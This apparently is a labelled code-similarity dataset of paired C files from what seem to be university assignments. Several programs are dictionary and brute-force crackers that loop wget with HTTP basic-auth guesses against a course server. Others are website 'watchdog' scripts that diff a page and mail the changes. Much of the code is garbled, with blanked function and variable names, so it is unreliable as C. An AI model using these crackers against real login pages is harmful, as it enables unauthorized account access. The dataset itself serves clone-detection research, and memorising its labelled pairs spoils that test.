#include <stdio.h> #include <sys/time.h> #include <strings.h> #include <stdlib.h> #include <ctype.h> int () { FILE *fileopen; char *t_tst,chk[6]; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir original"); system("mv www.cs.rmit.edu./images/*.* original/"); system("mv www.cs.rmit.edu./students/*.* original/"); sleep(75); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* fresh/"); system("mv www.cs.rmit.edu./students/*.* fresh/"); system("diff one two > image_dif.txt"); fileopen = fopen("imagedif.txt","r"); t_tst = fgets(chk, 6, fileopen); if (strlen(chk) != 0) system("mailx -s \" WatchDog program has observed some Differences \" @.rmit.edu. < image_dif.txt"); return 0; }
0
045.c
067.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<stdlib.h> #include<string.h> int main () { FILE *fp; char s[300] , ptr[20]; system("rm *.html* "); system("wget http://www.cs.rmit.edu./students/ "); system("mv index.html First.html"); system("sleep 10"); system("wget http://www.cs.rmit.edu./students/ "); system("diff First.html index.html > difference.txt" ); fp=fopen("difference.txt","r"); if(fgets(ptr,30,fp)) { system( "mailx -s \"Changes were detected \" < difference.txt "); } else printf(" were changes detected"); return 0; }
0
045.c
024.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
045.c
009.c
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
1
031.c
059.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
031.c
043.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
031.c
014.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
031.c
050.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
031.c
016.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
031.c
007.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <sys/time.h> #include <strings.h> #include <ctype.h> #include <stdio.h> #include <stdlib.h> int main() { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir home"); system("mv www.cs.rmit.edu./images/*.* home/"); system("mv www.cs.rmit.edu./students/*.* home/"); system("cd www.cs.rmit.edu./images"); sleep(1); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("cd www.cs.rmit.edu./images"); system("diff home second > difference.txt"); system("mailx -s \"Difference in \" < difference.txt "); return 0; }
0
031.c
054.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; time_t u1,u2; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; FILE *fin1; char point[25]; fin1=fopen("./words.txt","r"); if(fin1==NULL) { printf(" open the file "); exit(0); } strcpy(temp2," --http-user= --http-passwd="); strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php"); strcpy(temp3,""); (void) time(&u1); while(!feof(fin1)) { fgets(point,25,fin1); if(strlen(point)<=4) { strcpy(temp3,temp1); strcat(temp3,temp2); strcat(temp3,point); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",point); printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } }
0
031.c
021.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> #include<string.h> int () { char a[100],c[100],c1[100],c2[100],m[50]; char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int i,j,k,count=0; int total_time,start_time,end_time; start_time = time(); for(i=0;i<52;i++) { m[0]=b[i]; m[1]='\0'; strcpy(c,m); printf("%s \n",c); for(j=0;j<52;j++) { m[0]=b[j]; m[1]='\0'; strcpy(c1,c); strcat(c1,m); printf("%s \n",c1); for(k=0;k<52;k++) { count++; printf("ATTEMPT :%d\n",count); m[0]=b[k]; m[1]='\0'; strcpy(c2,c1); strcat(c2,m); strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd="); strcat(a,c2); if(system(a)==0) { printf("Congratulations!!!!BruteForce Attack Successful\n"); printf("***********************************************\n"); printf("The Password is %s\n",c2); printf("The Request sent is %s\n",a); end_time = time(); total_time = (end_time -start_time); total_time /= 1000000000.0; printf("The Time Taken is : %llds\n",total_time); exit(1); } } } } return 0; }
0
031.c
030.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; int pass,count=0; char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}; char [4]; char url1[100]; char url2[100]; startTime = time(); for (i=0;i<=52;i++) { for (j=0;j<=52;j++) { for(k=0;k<=52;k++) { count++; [0] = arr[i]; [1] = arr[j]; [2] = arr[k]; [3] = '\0'; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,); strcat(url1,url2); pass = system(url1); if (pass == 0) { printf("Success\n"); printf("Number of attempts = %d\n",count); stopTime = time(); final = stopTime-startTime; printf("The password for the user : %s\n",); printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); exit(1);} } } } }
0
031.c
044.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> char *itoa(int); int () { int t,t1,t2, timeinsec; int nofattempts = 0; char url[80], url1[80], *ur1, *ur2; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); int i = 65; int j ; int k ; char *c1, *c2, *c3; char *c12, pass[4]; int syst = 1; char a = 'a'; char inside[50]; t1 = time(); for (i = 65; i <= 122; i++) { if (i > 90 && i < 97) continue; for (j = 65; j <= 122; j++) { if (j > 90 && j < 97) continue; for (k = 65; k <= 122; k++) { fflush(stdin); if (k > 90 && k < 97) continue; c1 = itoa(i); c2 = itoa(j); c3 = itoa(k); pass[0] = *c1; pass[1] = *c2; pass[2] = *c3; pass[3] = '\0'; strcat(url, pass); strcat(url, url1); ++nofattempts; syst = system(url); printf("%s\n",pass); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t / 1000000000; printf(" Total .of attempts :- %d", nofattempts); printf("\n !!! 's the password:- %s\n", pass); printf("\n Brute force has taken much of time_var :- %lld seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } } } exit(0); } char *itoa(int a) { char *[26] = { "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z" }; char *[26] = { "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" }; char *ret; if ( a >= 97 && a <= 122) { ret = [a-97]; return ret; } if ( a >= 65 && a <= 90) { ret = [a-65]; return ret; } return "5"; }
0
031.c
051.c
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { int time1, time2, time_var; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); time1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); if (strlen(word) == 3) { syst = system(url); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); } if (syst == 0) { time2 = time(); time_var = time2 - time1; timeinsec = time_var/1000000000; printf("\n The Password is: %s",word); printf("\n of Attempts: %d\n",nofattempts); printf("\n Time Taken: %d seconds\n", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
031.c
066.c
